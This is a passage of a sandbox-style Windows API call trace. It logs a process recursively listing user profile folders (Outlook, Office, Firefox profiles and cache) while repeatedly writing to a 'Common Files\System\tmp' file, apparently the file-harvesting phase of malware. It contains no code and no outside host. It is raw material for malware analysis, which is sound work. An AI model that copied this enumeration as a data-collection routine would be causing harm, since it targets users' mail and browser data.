GetLastError () returned 0x12 [0129.178] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0129.178] GetLastError () returned 0x12 [0129.178] AreFileApisANSI () returned 1 [0129.178] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.178] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0129.178] GetFileType (hFile=0x18c) returned 0x1 [0129.178] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\ONetConfig\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb72310, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x29ae1d20, ftLastAccessTime.dwHighDateTime=0x1d2e626, ftLastWriteTime.dwLowDateTime=0x29ae1d20, ftLastWriteTime.dwHighDateTime=0x1d2e626, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0129.178] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0129.178] GetLastError () returned 0x12 [0129.179] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0129.179] GetLastError () returned 0x12 [0129.179] AreFileApisANSI () returned 1 [0129.179] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.179] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0129.179] GetFileType (hFile=0x188) returned 0x1 [0129.179] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3dc40980, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x609dab00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0129.179] AreFileApisANSI () returned 1 [0129.179] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.179] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0129.179] GetFileType (hFile=0x18c) returned 0x1 [0129.179] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Outlook\\RoamCache\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x609dab00, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x609dab00, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x609dab00, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0129.180] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0129.180] GetLastError () returned 0x12 [0129.180] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0129.180] GetLastError () returned 0x12 [0129.180] AreFileApisANSI () returned 1 [0129.180] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.180] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0129.180] GetFileType (hFile=0x188) returned 0x1 [0129.180] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Publisher\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4bb4c1b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4bb4c1b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0129.180] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0129.180] GetLastError () returned 0x12 [0129.180] AreFileApisANSI () returned 1 [0129.180] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.181] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0129.181] GetFileType (hFile=0x188) returned 0x1 [0129.181] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\TaskSchedulerConfig\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3abef650, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3abef650, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3abef650, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0129.181] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0129.181] GetLastError () returned 0x12 [0129.181] AreFileApisANSI () returned 1 [0129.181] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.181] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0129.181] GetFileType (hFile=0x188) returned 0x1 [0129.181] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x962f4540, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x5ef99320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5ef99320, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0129.181] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0129.182] GetLastError () returned 0x12 [0129.182] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0129.182] GetLastError () returned 0x12 [0129.182] AreFileApisANSI () returned 1 [0129.182] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.182] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0129.182] GetFileType (hFile=0x184) returned 0x1 [0129.182] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft Help\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0129.182] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0129.182] GetLastError () returned 0x12 [0129.182] AreFileApisANSI () returned 1 [0129.182] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.182] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0129.182] GetFileType (hFile=0x184) returned 0x1 [0129.183] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10, dwReserved1=0x887d70, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0129.183] AreFileApisANSI () returned 1 [0129.183] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.183] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0129.183] GetFileType (hFile=0x188) returned 0x1 [0129.183] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0129.183] AreFileApisANSI () returned 1 [0129.183] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.183] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0129.183] GetFileType (hFile=0x18c) returned 0x1 [0129.184] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4, dwReserved1=0x867248, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0129.184] AreFileApisANSI () returned 1 [0129.184] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.184] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0129.184] GetFileType (hFile=0x190) returned 0x1 [0129.184] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x826e2030, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826e2030, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x68, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0129.185] AreFileApisANSI () returned 1 [0129.185] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.185] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0129.185] GetFileType (hFile=0x194) returned 0x1 [0129.185] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb6518ad0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6518ad0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0129.283] AreFileApisANSI () returned 1 [0129.283] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.283] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0129.283] GetFileType (hFile=0x198) returned 0x1 [0129.283] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x81eff750, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81eff750, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0129.329] AreFileApisANSI () returned 1 [0129.329] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.329] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0129.330] GetFileType (hFile=0x19c) returned 0x1 [0129.330] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb8c39470, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb8c39470, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb8c39470, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18f0 [0129.376] FindClose (in: hFindFile=0x7d18f0 | out: hFindFile=0x7d18f0) returned 1 [0129.377] GetLastError () returned 0x12 [0129.377] AreFileApisANSI () returned 1 [0129.377] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.378] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0129.378] GetFileType (hFile=0x19c) returned 0x1 [0129.378] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81eff750, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81eff750, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81eff750, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18f0 [0129.471] FindClose (in: hFindFile=0x7d18f0 | out: hFindFile=0x7d18f0) returned 1 [0129.471] GetLastError () returned 0x12 [0129.471] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0129.471] GetLastError () returned 0x12 [0129.471] AreFileApisANSI () returned 1 [0129.471] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.471] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0129.471] GetFileType (hFile=0x198) returned 0x1 [0129.471] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x826bbed0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826bbed0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0129.472] AreFileApisANSI () returned 1 [0129.472] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.472] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0129.472] GetFileType (hFile=0x19c) returned 0x1 [0129.472] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7680bb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7680bb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7680bb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18f0 [0129.473] FindClose (in: hFindFile=0x7d18f0 | out: hFindFile=0x7d18f0) returned 1 [0129.473] GetLastError () returned 0x12 [0129.473] AreFileApisANSI () returned 1 [0129.473] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.473] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0129.473] GetFileType (hFile=0x19c) returned 0x1 [0129.473] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826bbed0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x826bbed0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826bbed0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18f0 [0129.517] FindClose (in: hFindFile=0x7d18f0 | out: hFindFile=0x7d18f0) returned 1 [0129.517] GetLastError () returned 0x12 [0129.517] AreFileApisANSI () returned 1 [0129.517] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0129.517] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0129.517] GetFileType (hFile=0x19c) returned 0x1 [0129.517] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\*.*", lpFindFileData=0x18a6fc | out: 